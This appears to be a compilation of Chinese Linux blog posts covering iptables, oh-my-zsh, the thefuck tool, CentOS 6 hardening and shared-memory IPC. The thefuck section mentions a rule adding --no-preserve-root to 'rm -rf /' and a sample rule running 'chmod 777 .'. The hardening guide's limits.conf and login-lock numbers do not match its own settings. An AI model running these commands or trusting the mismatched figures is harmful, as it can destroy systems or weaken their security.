  如果没有大量的idle -connection或者dead-connection，epoll的效率并不会比select/poll高很多，但是当遇到大量的idle- connection，就会发现epoll的效率大大高于select/poll。




参考


用户空间与内核空间，进程上下文与中断上下文[总结]
进程切换
维基百科-文件描述符
Linux 中直接 I/O 机制的介绍
IO - 同步，异步，阻塞，非阻塞 （亡羊补牢篇）
Linux中select poll和epoll的区别
IO多路复用之select总结
IO多路复用之poll总结
IO多路复用之epoll总结


 iptables防火墙原理详解

作者：seanlook

来源： iptables防火墙原理详解



                    
1. netfilter与iptables


Netfilter是由Rusty Russell提出的Linux 2.4内核防火墙框架，该框架既简洁又灵活，可实现安全策略应用中的许多功能，如数据包过滤、数据包处理、地址伪装、透明代理、动态网络地址转换(Network Address Translation，NAT)，以及基于用户及媒体访问控制(Media Access Control，MAC)地址的过滤和基于状态的过滤、包速率限制等。Iptables/Netfilter的这些规则可以通过灵活组合，形成非常多的功能、涵盖各个方面，这一切都得益于它的优秀设计思想。


Netfilter是Linux操作系统核心层内部的一个数据包处理模块，它具有如下功能：



	网络地址转换(Network Address Translate)

	数据包内容修改

	以及数据包过滤的防火墙功能



Netfilter 平台中制定了数据包的五个挂载点（Hook Point，我们可以理解为回调函数点，数据包到达这些位置的时候会主动调用我们的函数，使我们有机会能在数据包路由的时候改变它们的方向、内容），这5个挂载点分别是PRE_ROUTING、INPUT、OUTPUT、FORWARD、POST_ROUTING。


Netfilter 所设置的规则是存放在内核内存中的，而 iptables 是一个应用层的应用程序，它通过 Netfilter 放出的接口来对存放在内核内存中的 XXtables（Netfilter的配置表）进行修改。这个XXtables由表tables、链chains、规则rules组成，iptables在应用层负责修改这个规则文件。类似的应用程序还有 firewalld 。







1.1 filter、nat、mangle等规则表


filter表


主要用于对数据包进行过滤，根据具体的规则决定是否放行该数据包（如DROP、ACCEPT、REJECT、LOG）。filter 表对应的内核模块为iptable_filter，包含三个规则链：



	
INPUT链：INPUT针对那些目的地是本地的包

	
FORWARD链：FORWARD过滤所有不是本地产生的并且目的地不是本地(即本机只是负责转发)的包

	
OUTPUT链：OUTPUT是用来过滤所有本地生成的包



nat表


主要用于修改数据包的IP地址、端口号等信息（网络地址转换，如SNAT、DNAT、MASQUERADE、REDIRECT）。属于一个流的包(因为包

的大小限制导致数据可能会被分成多个数据包)只会经过这个表一次。如果第一个包被允许做NAT或Masqueraded，那么余下的包都会自动地被做相同的操作，也就是说，余下的包不会再通过这个表。表对应的内核模块为 iptable_nat，包含三个链：



	
PREROUTING链：作用是在包刚刚到达防火墙时改变它的目的地址

	
OUTPUT链：改变本地产生的包的目的地址

	
POSTROUTING链：在包就要离开防火墙之前改变其源地址



mangle表


主要用于修改数据包的TOS（Type Of Service，服务类型）、TTL（Time To Live，生存周期）指以及为数据包设置Mark标记，以实现Qos(Quality Of Service，服务质量)调整以及策略路由等应用，由于需要相应的路由设备支持，因此应用并不广泛。包含五个规则链——PREROUTING，POSTROUTING，INPUT，OUTPUT，FORWARD。


raw表


是自1.2.9以后版本的iptables新增的表，主要用于决定数据包是否被状态跟踪机制处理。在匹配数据包时，raw表的规则要优先于其他表。包含两条规则链——OUTPUT、PREROUTING


iptables中数据包和4种被跟踪连接的4种不同状态：



	
NEW：该包想要开始一个连接（重新连接或将连接重定向）

	
RELATED：该包是属于某个已经建立的连接所建立的新连接。例如：FTP的数据传输连接就是控制连接所 RELATED出来的连接。--icmp-type  0 ( ping 应答) 就是--icmp-type 8 (ping 请求)所RELATED出来的。

	
ESTABLISHED ：只要发送并接到应答，一个数据连接从NEW变为ESTABLISHED,而且该状态会继续匹配这个连接的后续数据包。

	
INVALID：数据包不能被识别属于哪个连接或没有任何状态比如内存溢出，收到不知属于哪个连接的ICMP错误信息，一般应该DROP这个状态的任何数据。



1.2 INPUT、FORWARD等规则链和规则


在处理各种数据包时，根据防火墙规则的不同介入时机，iptables供涉及5种默认规则链，从应用时间点的角度理解这些链：



	
INPUT链：当接收到防火墙本机地址的数据包（入站）时，应用此链中的规则。

	
OUTPUT链：当防火墙本机向外发送数据包（出站）时，应用此链中的规则。

	
FORWARD链：当接收到需要通过防火墙发送给其他地址的数据包（转发）时，应用此链中的规则。

	
PREROUTING链：在对数据包作路由选择之前，应用此链中的规则，如DNAT。

	
POSTROUTING链：在对数据包作路由选择之后，应用此链中的规则，如SNAT。



防火墙处理数据包的方式（规则）：



	
ACCEPT：允许数据包通过

	
DROP：直接丢弃数据包，不给任何回应信息

	REJECT：拒绝数据包通过，必要时会给数据发送端一个响应的信息。


	SNAT：源地址转换。在进入路由层面的route之前，重新改写源地址，目标地址不变，并在本机建立NAT表项，当数据返回时，根据NAT表将目的地址数据改写为数据发送出去时候的源地址，并发送给主机。解决内网用户用同一个公网地址上网的问题。
MASQUERADE，是SNAT的一种特殊形式，适用于像adsl这种临时会变的ip上


	DNAT:目标地址转换。和SNAT相反，IP包经过route之后、出本地的网络栈之前，重新修改目标地址，源地址不变，在本机建立NAT表项，当数据返回时，根据NAT表将源地址修改为数据发送过来时的目标地址，并发给远程主机。可以隐藏后端服务器的真实地址。
REDIRECT：是DNAT的一种特殊形式，将网络包转发到本地host上（不管IP头部指定的目标地址是啥），方便在本机做端口转发。


	LOG：在/var/log/messages文件中记录日志信息，然后将数据包传递给下一条规则




除去最后一个LOG，前3条规则匹配数据包后，该数据包不会再往下继续匹配了，所以编写的规则顺序极其关键。


2.  Linux数据包路由原理


我们已经知道了Netfilter和Iptables的架构和作用，并且学习了控制Netfilter行为的Xtables表的结构，那么这个Xtables表是怎么在内核协议栈的数据包路由中起作用的呢？


网口数据包由底层的网卡NIC接收，通过数据链路层的解包之后(去除数据链路帧头)，就进入了TCP/IP协议栈(本质就是一个处理网络数据包的内核驱动)和Netfilter混合的数据包处理流程中了。数据包的接收、处理、转发流程构成一个有限状态向量机，经过一些列的内核处理函数、以及Netfilter Hook点，最后被转发、或者本次上层的应用程序消化掉。是时候看这张图了：



从上图中，我们可以总结出以下规律：



	当一个数据包进入网卡时，数据包首先进入PREROUTING链，在PREROUTING链中我们有机会修改数据包的DestIP(目的IP)，然后内核的"路由模块"根据"数据包目的IP"以及"内核中的路由表"判断是否需要转送出去(注意，这个时候数据包的DestIP有可能已经被我们修改过了)

	如果数据包就是进入本机的(即数据包的目的IP是本机的网口IP)，数据包就会沿着图向下移动，到达INPUT链。数据包到达INPUT链后，任何进程都会-收到它

	本机上运行的程序也可以发送数据包，这些数据包经过OUTPUT链，然后到达POSTROTING链输出(注意，这个时候数据包的SrcIP有可能已经被我们修改过了)

	如果数据包是要转发出去的(即目的IP地址不再当前子网中)，且内核允许转发，数据包就会向右移动，经过FORWARD链，然后到达POSTROUTING链输出(选择对应子网的网口发送出去)



我们在写Iptables规则的时候，要时刻牢记这张路由次序图，根据所在Hook点的不同，灵活配置规则。


3. iptables编写规则


命令格式：




	
[-t 表名]：该规则所操作的哪个表，可以使用filter、nat等，如果没有指定则默认为filter

	
-A：新增一条规则，到该规则链列表的最后一行

	
-I：插入一条规则，原本该位置上的规则会往后顺序移动，没有指定编号则为1

	
-D：从规则链中删除一条规则，要么输入完整的规则，或者指定规则编号加以删除

	
-R：替换某条规则，规则替换不会改变顺序，而且必须指定编号。

	
-P：设置某条规则链的默认动作

	
-nL：-L、-n，查看当前运行的防火墙规则列表

	
chain名：指定规则表的哪个链，如INPUT、OUPUT、FORWARD、PREROUTING等

	
[规则编号]：插入、删除、替换规则时用，--line-numbers显示号码

	
[-i|o 网卡名称]：i是指定数据包从哪块网卡进入，o是指定数据包从哪块网卡输出

	
[-p 协议类型]：可以指定规则应用的协议，包含tcp、udp和icmp等

	
[-s 源IP地址]：源主机的IP地址或子网地址

	
[--sport 源端口号]：数据包的IP的源端口号

	
[-d目标IP地址]：目标主机的IP地址或子网地址

	
[--dport目标端口号]：数据包的IP的目标端口号

	
-m：extend matches，这个选项用于提供更多的匹配参数，如：


	-m state --state ESTABLISHED,RELATED

	-m tcp --dport 22   

	-m multiport --dports 80,8080

	-m icmp --icmp-type 8 





	
<-j 动作>：处理数据包的动作，包括ACCEPT、DROP、REJECT等



具体实例请参考 iptables常用实例备查。


参考



	
wikipedia iptables (里面有张原理图片值得收藏)

	2小时玩转iptables企业版.ppt  (网上可下)

	netfilter/iptables documentation





原文链接地址：http://seanlook.com/2014/02/23/iptables-understand/





 那些我希望在一开始使用 Zsh(oh-my-zsh) 时就知道的

作者：xavier

来源： 那些我希望在一开始使用 Zsh(oh-my-zsh) 时就知道的



                    
其实我已经用了 fish shell 快半年了，因为被一些兼容性问题搞烦了，所以最近又用回了 zsh + oh-my-zsh。

zsh + oh-my-zsh 配合是真心好用，而且 oh-my-zsh 还偷偷干了很多人不知道的事，比如 rake task也能补全，第一次见到时真是有点惊讶。好吧，下面说一说我希望一开始就知道的。

自带的插件

其实我用了 oh-my-zsh 快三个月后才知道原来他自带了很多插件没有开启。。。

如何开启？找到 ~/.zshrc 有一行 plugins=(git)，想加什么插件就把名字放里面就是了，比如plugins=(rails git ruby) 就开启了rails，git 和 ruby 三个插件。

更多插件请进入 ~/.oh-my-zsh/plugins文件夹探索，也可以看看 wiki 里的 Plugins Overview，每个人的需求不一样，里面有一些比较神奇的插件，比如敲两下esc 它会给你自动加上 sudo 的 sudo 插件，让复制显示进度条的cp插件，解压用的 extract 插件（有没有觉得在命令行下敲一大堆选项才能解压有点奇怪？），vi 粉的vi-mode 等等...

z

嗯，这也是个自带的但是没有开启的插件。为什么单独把它拿出来讲呢？因为太好用了，没有它我根本就不想用命令行。简直就是可以无脑跳跃，比如你经常进入~/Documents目录，按下 z doc 一般它就可以跳进去了(当然首先你得用一段时间让它积累一下数据才能用)。类似的插件还有好几个比如autojump,fasd，这类东西好像叫 FS Jumping，这里有个完整列表：https://github.com/robbyrussell/oh-my-zsh/wiki/Plugins-Overview#fs-jumping

d

在 fish shell 里你可以按alt 加左右箭头随意穿梭于历史记录中，就像 GUI 文件浏览器的
前进，后退。zsh 没有这么好用，但是按一下 d 再回车你会看到最近的历史记录，然后你就可以通过数字比如 1, 2 之类的返回到某个历史记录中了。也是非常好用的。

zsh-autosuggestions

官方的介绍是Fish-like fast/unobtrusive autosuggestions for zsh，没错，这是模仿fish shell 的一个插件，作用基本上就是根据历史记录即时提示。没有这个东西让我感觉自己很盲目。没有用过 fish 的同学可能觉得它有点奇怪，但是一旦适应它以后就会发现它会大幅度的提高效率（按 ctrl+E 是正确姿势）。注意：它不是 oh-my-zsh 自带的，大家可以去 github 看它的安装说明。

自带的 Git Aliases

git 插件是默认开启的，大家可能注意到它能够自动补全以及显示所在 branch。对于一个 git 重度用户，一些 aliases 是不可缺少的。相信我，一旦习惯了 aliases，就会觉得原来敲那么一大堆命令真是不能忍了(即使它能够自动补全)。下面列一些我最常用的（当然也是 oh-my-zsh 自带的，更多请看 wiki）：



	Alias
	Command



	g
	git



	gst
	git status



	ga
	git add



	gp
	git push



	gc
	git commit -v



	gc!
	git commit -v --amend





其他


	敲 zsh_stats 可以看到你的使用频率前 20 的命令是什么！


	take 看看 which take 就知道它有什么用了


	clipcopy 和 clippaste，剪贴板和命令行的交互




官方的 wiki（重要！）

官方 wiki 上面给出了很多有用的功能介绍，比如一些 aliases，像..., ...., take 等等。

如果完整的看完了 wiki 的话我前面的介绍都是废话了。

结语


	推荐一个不相关的：trash-cli，就是命令行版的回收站，它的神奇之处在于不是简单的把文件移动到回收站，而且可以在回收站里恢复。所以它说自己是Command line interface to the freedesktop.org trashcan，我的 zshrc 里有一行：alias rt="trash"


	其他的一些非常有用的 tips 想到再补充。


	补上我的配置文件们：https://github.com/dd1994/dotfiles





 又是一个名叫草泥马的项目：thefuck

作者：大舒

来源： 又是一个名叫草泥马的项目：thefuck



                    
一般而言，能受到广泛关注的开源项目分为这么几类：



	分离出去的项目，例如 io.js

	解决了痛点的项目，例如 jQuery

	提高效率的项目，例如 Anjular.js

	大公司的项目或者本来就特别火的项目，例如 .NET



当然也有脑洞大开的项目，比如 SegmentFault 上之前介绍过的《编程语言中的精品——草泥马语》。（你还记得吗？）


更比如，今天要讲的主角：thefuck。


开发者都或多或少接触过 linux 接触过命令行，当然肯定也都被命令行狠狠地“fuck”过。我很多时候都是微不足道的原因导致了命令行出错，例如将 python 输入成 ptyhon，例如将 ls -alh 输入成 ls a-lh而导致出错，这个时候我会想说：“fuck”。


起源


开发 thefuck 的这位同仁，恐怕也经常会有这种不和谐的情况。因此开发了这个软件 thefuck。


thefuck 不仅仅能修复字符输入顺序的错误，在很多别的你想说“fuck”的情况下，thefuck 依然有效。


例如以下情况。


案例


任何情况下你想说“我操”，你都可以用得到 thefuck。


例如：


ls 和 sl


使用过 ubuntu 的开发者很多都知道有这么一条命令：sl。这条命令是在你将 ls 错误地输成 sl 时，会在屏幕上快速驶过一辆火车。当然，有了 thefuck，sl 似乎也可以退休了。


➜ sl
The program 'sl' is currently not installed. You can install it by typing:
sudo apt-get install sl
➜ fuck
ls #修正
a.go                   b.php           dockerui      jekyll-casper  main.go  PureBlog   sss.png                              typecho
a.php                  c-hash          Font-Awesome  jekyll-pure    mili     signal.c   TeamTalk                             upload
bii-ubuntu-64_3_0.deb  Dockerfile      harmony       JekyllPure     ngircd   signal.c~  tingyun-agent-php-latest.x86_64.deb  web.go
blog                   Dockerfile.bak  hashmap       kasper         php-src  sss.jpg    tipi                                 zerver



忘记 sudo


➜ apt-get install vim
E: Could not open lock file /var/lib/dpkg/lock - open (13: Permission denied)
E: Unable to lock the administration directory (/var/lib/dpkg/), are you root?

➜ fuck
sudo apt-get install vim
[sudo] password for nvbn:
Reading package lists... Done



操作 git


➜ git push
fatal: The current branch master has no upstream branch.
To push the current branch and set the remote as upstream, use

    git push --set-upstream origin master


➜ fuck
git push --set-upstream origin master
Counting objects: 9, done.
...




错输命令


➜ puthon
No command 'puthon' found, did you mean:
 Command 'python' from package 'python-minimal' (main)
 Command 'python' from package 'python3' (main)
zsh: command not found: puthon

➜ fuck
python
Python 3.4.2 (default, Oct  8 2014, 13:08:17)
...



选项修正


➜ git brnch
git: 'brnch' is not a git command. See 'git --help'.

Did you mean this?
    branch

➜ fuck
git branch
* master



其他


thefuck 还有其他很多种用法，就等着你去发现。


安装


安装需求



	python (2.7+ or 3.3+)

	pip

	python-dev



安装方法



	可以使用 pip 安装：sudo pip install thefuck

或者使用 OS X、Ubuntu、Arch 的包管理器安装。


	
安装后配置

bash：


alias fuck='eval $(thefuck $(fc -ln -1)); history -r'



Zsh、Fish 和 PowerShell 的 配置方法见这里。





更新


更新到最新的 thefuck 的方法非常简单：


sudo pip install thefuck --upgrade



其他


软件原理


前面说了那么多用法，

那么有人觉得 thefuck 可能只是一个用来

thefuck 进行命令修复的模块名和对应的修复原理如下：



	brew_unknown_command：修复 brew 命令，例如将 brew docto 修复为 brew doctor


	cd_parent：将 cd.. 修正为 cd .. 

	cd_mkdir：cd 进入不存在的目录时尝试创建目录。

	cp_omitting_directory：cp 时添加 -a 选项

	fix_alt_space：将所有的的Alt+Space 修正为 Space。

	git_add：修正没有 git add 的情况。

	git_checkout：git checkout 不存在的分支之前尝试创建分支。

	git_no_command：修正错误的选项，例如 git brnch。

	git_push：如果 push 失败，尝试将 git push 修正为 git push --set-upstream origin $branch。

	has_exists_script：为所有的提示不存在的命令尝试添加 ./ 前缀。

	lein_not_task：修正 lein，例如 lein rpl。

	mkdir_p：mkdir 时尝试添加 -p 选项。

	no_command：修正不存在的命令，例如 vom 修正为 vim。

	man_no_space：将没有空格的 man 命令添加空格，例如 mandiff 修正为 man diff


	pacman：arch 系统上，如果使用没有安装的软件，尝试使用 pacman 或者 yaourt 安装。

	pip_unknown_command：修正错误的 pip 命令，例如 pip isntall 修正为 pip install


	python_command：当前目录试图执行没有 x 权限的 python 程序时，修复为添加 python 前缀

	sl_ls：sl 修正为 ls


	rm_dir：如果删除文件夹，为 rm 添加 -rf 选项。

	ssh_known_hosts：如果远程主机公钥不匹配，尝试将远程主机公钥从 know_hosts 中移除。

	sudo：如果提示没有权限，尝试添加 sudo。

	switch_layout：将键盘布局修正为英语布局。

	apt_get：如果不存在命令，尝试使用 apt-get 包管理器安装。

	brew_install：修正 brew install 的格式。

	composer_not_command：修正 composer 命令。



没有启用的模块：



	ls_lah：为 ls 添加 -alh 选项。

	rm_root：为 rm -rf / 添加 --no-preserve-root 选项。



自定义规则


当然，你也可以自定义修正规则：

一个自定义规则的案例：


def match(command, settings):
    return ('permission denied' in command.stderr.lower()
            or 'EACCES' in command.stderr)
# 获取 stderr 中的字符串和程序返回值（errno），

# 修正规则（命令前添加 sudo）
def get_new_command(command, settings):
    return 'sudo {}'.format(command.script)

# 以下为可选项
# 默认是否开启
enabled_by_default = True
# 附加命令
def side_effect(command, settings):
    subprocess.call('chmod 777 .', shell=True)
# 优先级，数字越大优先级越低。
priority = 1000  



使用须知


虽然 thefuck 带来了很多便利，不过仍然建议注意这件事情：


thefuck 会给出的修正后的命令，但是默认情况下你看到它们的时候，命令都已经默认执行了。

大部分情况下，thefuck 可能给出的是正确的修正，但是小部分情况下，给出的修正并不是你想要的。

所以建议将 ~/.thefuck/settings.py 中的设置改为 require_confirmation = True，这样可以自己决定是否执行修正后的命令。


 通用 CentOS 6 服务器安全配置指南

作者：seanlook

来源： 通用 CentOS 6 服务器安全配置指南



                    
Linux 是一个开放式系统，可以在网络上找到许多现成的程序和工具，这既方便了用户，也方便了黑客，因为他们也能很容易地找到程序和工具来潜入 Linux 系统，或者盗取 Linux 系统上的重要信息。不过，只要我们仔细地设定 Linux 的各种系统功能，并且加上必要的安全措施，就能让黑客们无机可乘。一般来说，对 Linux 系统的安全设定包括取消不必要的服务、限制远程存取、隐藏重要资料、修补安全漏洞、采用安全工具以及经常性的安全检查等。


本文是可参考的实际操作，不涉及如 IP 欺骗这样的原理，而且安全问题也不算几行命令就能预防的，这里只是 Linux 系统上基本的安全加固方法，后续有新的内容再添加进来。


注：所有文件在修改之前都要进行备份如


cp /etc/passwd{,.dist}



1. 禁用不使用的用户


注意：不建议直接删除，当你需要某个用户时，自己重新添加会很麻烦。也可以 usermod -L 或 passwd -l user 锁定。



	
cp /etc/passwd{,.bak}  修改之前先备份

	
vi /etc/passwd 编辑用户，在前面加上#注释掉此行



注释的用户名：


# cat /etc/passwd|grep ^#
#adm:x:3:4:adm:/var/adm:/sbin/nologin
#lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
#shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
#halt:x:7:0:halt:/sbin:/sbin/halt
#uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
#operator:x:11:0:operator:/root:/sbin/nologin
#games:x:12:100:games:/usr/games:/sbin/nologin
#gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
#ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
#nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
#postfix:x:89:89::/var/spool/postfix:/sbin/nologin



注释的组：


# cat /etc/group|grep ^#
#adm:x:4:adm,daemon
#lp:x:7:daemon
#uucp:x:14:
#games:x:20:
#gopher:x:30:
#video:x:39:
#dip:x:40:
#ftp:x:50:
#audio:x:63:
#floppy:x:19:
#postfix:x:89:



2. 关闭不使用的服务


# chkconfig --list |grep '3:on'



邮件服务，使用公司邮件服务器：


service postfix stop
chkconfig postfix --level 2345 off



通用unix打印服务，对服务器无用：


service cups stop
chkconfig cups --level 2345 off



调节cpu速度用来省电，常用在Laptop上：


service cpuspeed stop
chkconfig cpuspeed --level 2345 off



蓝牙无线通讯，对服务器无用：


service bluetooth stop
chkconfig bluetooth --level 2345 off



系统安装后初始设定，第一次启动系统后就没用了：


service firstboot stop
chkconfig firstboot --level 2345 off



关闭nfs服务及客户端：


service netfs stop
chkconfig netfs --level 2345 off
service nfslock stop
chkconfig nfslock --level 2345 off



如果要恢复某一个服务，可以执行下面操作：
service acpid start && chkconfig acpid on

也可以使用setup工具来设置


3. 禁用IPV6


IPv6是为了解决IPv4地址耗尽的问题，但我们的服务器一般用不到它，反而禁用IPv6不仅仅会加快网络，还会有助于减少管理开销和提高安全级别。以下几步在CentOS上完全禁用ipv6。


禁止加载IPv6模块：

让系统不加载ipv6相关模块，这需要修改modprobe相关设定文件，为了管理方便，我们新建设定文件/etc/modprobe.d/ipv6off.conf，内容如下


alias net-pf-10 off
options ipv6 disable=1



禁用基于IPv6网络，使之不会被触发启动：


# vi /etc/sysconfig/network
NETWORKING_IPV6=no



禁用网卡IPv6设置，使之仅在IPv4模式下运行：


# vi /etc/sysconfig/network-scripts/ifcfg-eth0
IPV6INIT=no
IPV6_AUTOCONF=no



关闭ip6tables：


# chkconfig ip6tables off



重启系统，验证是否生效：


# lsmod | grep ipv6
# ifconfig | grep -i inet6



如果没有任何输出就说明IPv6模块已被禁用，否则被启用。


4. iptables规则


启用linux防火墙来禁止非法程序访问。使用iptable的规则来过滤入站、出站和转发的包。我们可以针对来源和目的地址进行特定udp/tcp端口的准许和拒绝访问。


关于防火墙的设置规则请参考博客文章 iptables设置实例。


5. SSH安全


如果有可能，第一件事就是修改ssh的默认端口22，改成如20002这样的较大端口会大幅提高安全系数，降低ssh破解登录的可能性。


创建具备辨识度的应用用户如crm以及系统管理用户sysmgr


# useradd crm -d /apps/crm
# passwd crm

# useradd sysmgr
# passwd sysmgr



5.1 只允许wheel用户组的用户su切换


# usermod -G wheel sysmgr

# vi /etc/pam.d/su
# Uncomment the following line to require a user to be in the "wheel" group.
auth            required        pam_wheel.so use_uid



其他用户切换root，即使输对密码也会提示 su: incorrect password


5.2 登录超时


用户在线5分钟无操作则超时断开连接，在/etc/profile中添加：


export TMOUT=300
readonly TMOUT



5.3 禁止root直接远程登录


# vi /etc/ssh/sshd_config
PermitRootLogin no



5.4 限制登录失败次数并锁定


在/etc/pam.d/login后添加


auth required pam_tally2.so deny=6 unlock_time=180 even_deny_root root_unlock_time=180



登录失败5次锁定180秒，根据需要设置是否包括root。


5.5 登录IP限制


（由于要与某一固定IP或IP段绑定，暂未设置）

更严格的限制是在sshd_config中定死允许ssh的用户和来源ip：


## allowed ssh users sysmgr
AllowUsers sysmgr@172.29.73.*



或者使用tcpwrapper:


vi /etc/hosts.deny
sshd:all
vi /etc/hosts.allow
sshd:172.29.73.23
sshd:172.29.73.



6. 配置只能使用密钥文件登录


使用密钥文件代替普通的简单密码认证也会极大的提高安全性：


[dir@username ~]$ ssh-keygen -t rsa -b 2048
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):   //默认路径，回车
Enter passphrase (empty for no passphrase):     //输入你的密钥短语，登录时使用
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
3e:fd:fc:e5:d3:22:86:8e:2c:4b:a7:3d:92:18:9f:64 root@ibpak.tp-link.net
The key's randomart image is:
+--[ RSA 2048]----+
|                 |
…
|      o++o..oo..o|
+-----------------+



将公钥重命名为authorized_key：


$ mv ~/.ssh/id_rsa.pub ~/.ssh/authorized_keys
$ chmod 600 ~/.ssh/authorized_keys



下载私钥文件 id_rsa 到本地（为了更加容易识别，可重命名为hostname_username_id_rsa），保存到安全的地方。以后 username 用户登录这台主机就必须使用这个私钥，配合密码短语来登录（不再使用 username 用户自身的密码）


另外还要修改/etc/ssh/sshd_config文件

打开注释


RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile      .ssh/authorized_keys



我们要求 username 用户（可以切换到其他用户，特别是root）必须使用ssh密钥文件登录，而其他普通用户可以直接密码登录。因此还需在sshd_config文件最后加入：


Match User itsection
        PasswordAuthentication no



重启sshd服务


# service sshd restart



另外提醒一句，这对公钥和私钥一定要单独保存在另外的机器上，服务器上丢失公钥或连接端丢失私钥（或密钥短语），可能导致再也无法登陆服务器获得root权限！


7. 减少history命令记录


执行过的历史命令记录越多，从一定程度上讲会给维护带来简便，但同样会伴随安全问题


vi /etc/profile



找到 HISTSIZE=1000 改为 HISTSIZE=50。


或每次退出时清理history，history -c


8. 增强特殊文件权限


给下面的文件加上不可更改属性，从而防止非授权用户获得权限


chattr +i /etc/passwd
chattr +i /etc/shadow
chattr +i /etc/group
chattr +i /etc/gshadow
chattr +i /etc/services #给系统服务端口列表文件加锁，防止未经许可的删除或添加服务
chattr +i /etc/pam.d/su
chattr +i /etc/ssh/sshd_config



显示文件的属性


lsattr /etc/passwd /etc/shadow /etc/services /etc/ssh/sshd_config



注意：执行以上 chattr 权限修改之后，就无法添加删除用户了。


如果再要添加删除用户，需要先取消上面的设置，等用户添加删除完成之后，再执行上面的操作，例如取消只读权限chattr -i /etc/passwd。（记得重新设置只读）


9. 防止一般网络攻击


网络攻击不是几行设置就能避免的，以下都只是些简单的将可能性降到最低，增大攻击的难度但并不能完全阻止。


9.1 禁ping


阻止ping如果没人能ping通您的系统，安全性自然增加了，可以有效的防止ping洪水。为此，可以在/etc/rc.d/rc.local文件中增加如下一行：


# echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all



或使用iptable禁ping：


iptables -A INPUT -p icmp --icmp-type 0 -s 0/0 -j DROP

不允许ping其他主机：
iptables -A OUTPUT -p icmp --icmp-type 8 -j DROP



9.2. 防止IP欺骗


编辑/etc/host.conf文件并增加如下几行来防止IP欺骗攻击。


order hosts,bind    #名称解释顺序
multi on           #允许主机拥有多个IP地址
nospoof on         #禁止IP地址欺骗



9.3 防止DoS攻击


对系统所有的用户设置资源限制可以防止DoS类型攻击，如最大进程数和内存使用数量等。

可以在/etc/security/limits.conf中添加如下几行：


*    soft    core    0
*    soft    nproc   2048
*    hard    nproc   16384
*    soft    nofile 1024
*    hard    nofile  65536



core 0 表示禁止创建core文件；nproc 128 把最多的进程数限制到20；nofile 64 表示把一个用户同时打开的最大文件数限制为64；* 表示登录到系统的所有用户，不包括root


然后必须编辑/etc/pam.d/login文件检查下面一行是否存在。


session    required     pam_limits.so



limits.conf参数的值需要根据具体情况调整。


10. 修复已知安全漏洞


在linux上偶尔会爆出毁灭级的漏洞，如udev、heartbleed、shellshock、ghost等，如果服务器暴露在外网，一定及时修复。


11. 定期做日志安全检查


将日志移动到专用的日志服务器里，这可避免入侵者轻易的改动本地日志。下面是常见linux的默认日志文件及其用处：



	
/var/log/message – 记录系统日志或当前活动日志。

	
/var/log/auth.log – 身份认证日志。

	
/var/log/cron   – Crond 日志 (cron 任务).

	
/var/log/maillog – 邮件服务器日志。

	
/var/log/secure – 认证日志。

	
/var/log/wtmp   历史登录、注销、启动、停机日志和，lastb命令可以查看登录失败的用户

	
/var/run/utmp   当前登录的用户信息日志，w、who命令的信息便来源与此

	
/var/log/yum.log Yum 日志。



参考 深度解析CentOS通过日志反查入侵。


11.1 安装logwatch


Logwatch是使用 Perl 开发的一个日志分析工具。能够对Linux 的日志文件进行分析，并自动发送mail给相关处理人员，可定制需求。


Logwatch的mail功能是借助宿主系统自带的 mail server 发邮件的，所以系统需安装mail server , 如sendmail,postfix,Qmail等


安装和配置方法见博文 linux日志监控logwatch。


12. web服务器安全


像apache或tomcat这样的服务端程序在配置时，如果有安全问题存在可以查阅文档进行安全加固。日后有时间再补充到新的文章。


参考



	Top 20 OpenSSH Server Best Security Practices





原文链接地址：http://seanlook.com/2014/09/07/linux-security-general-settings/
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Linux 下进程通信

在网络课程中，有讲到Socket编程，对于tcp讲解的环节，为了加深理解，自己写了Linux下进程Socket通信，在学习的过程中，又接触到了其它的几种方式。记录一下。

共享内存通信方式

共享内存的通信方式，系统根据我的偏好设置在内存中开辟一块空间，并对其进行相应的指定，然后我们的另一个进程可以按照同样的指定，也就是其标记，对其进行访问。创建共享内存，得到共享内存后，想内存中写入数据，然后另个进程得到内存，然后从中读出数据。
先贴出代码，写入方

#include <stdlib.h>   
#include <sys/shm.h>
#include <sys/ipc.h>  
#include <unistd.h>  
#include <string.h>

#define PATH ""
#define SIZE 512
#define ID 0
int main()
{
    char * shmAddr;
    char * dataAddr = "Hello";
    int key = ftok(PATH,ID);
    int shmID = shmget(key,SIZE,IPC_CREAT);
    shmAddr = shmat(shmID,NULL,0);
    strcpy(shmAddr,dataAddr);
    shmdt(shmAddr);
    exit(0);
}

接收方

#include <stdlib.h> 
#include <stdio.h>  
#include <unistd.h>  
#include <string.h>
#include <sys/shm.h>
#include <sys/ipc.h>  

#define PATH ""
#define SIZE 0
#define ID 0
int main()
{
    char * shmAddr;
    char * dataAddr = "Hello";
    int key = ftok(PATH,ID);
    int shmID = shmget(key,SIZE,0);
    shmAddr = shmat(shmID,NULL,0);
    printf("%s\n",shmAddr);
    shmdt(shmAddr);
    shmctl(shmID, IPC_RMID, NULL);
    exit(0);
}

代码比较简单，不难看出，通过函数shmget(),我们得到了对一块共享内存的标记，然后通过shmdt()，然后和我们的进程绑定得到这块共享内存的地址，然后即可输出该块内存区域中的数据。主要涉及几个参数，ftok(),shmget(),shmat()。

ftok():接受两个参数一个是文件目录，一个是我们的projectid，对于第二个id，我们这里可以随便制定，此处指定0，该函数可以为当前IPC生成一个唯一的键值。
shemget():第一个参数是我们进程的键值，第二个参数是我们指定内存区域的大小，如果制定为0则代表我们只是打开，而不是去创建，第三个参数是制定我们对该内存区域的操作模式权限。
shmat:该参数的作用是将我们的共享内存映射到我们的当前进程的内存空间。得到了其地址。第一个参数是我们要映射的共享内存的标示符。第二个参数是制定将共享内存的映射到我们进程空间的起始地址，如果制定为null，则会由系统自动分配一个。第三个参数是指定我们的操作模式，是读还是写，此处指定为0，表示既可以对其读又可以对其写。
shmdt:这个函数是用来断开当前进程和该共享内存区域的连接，
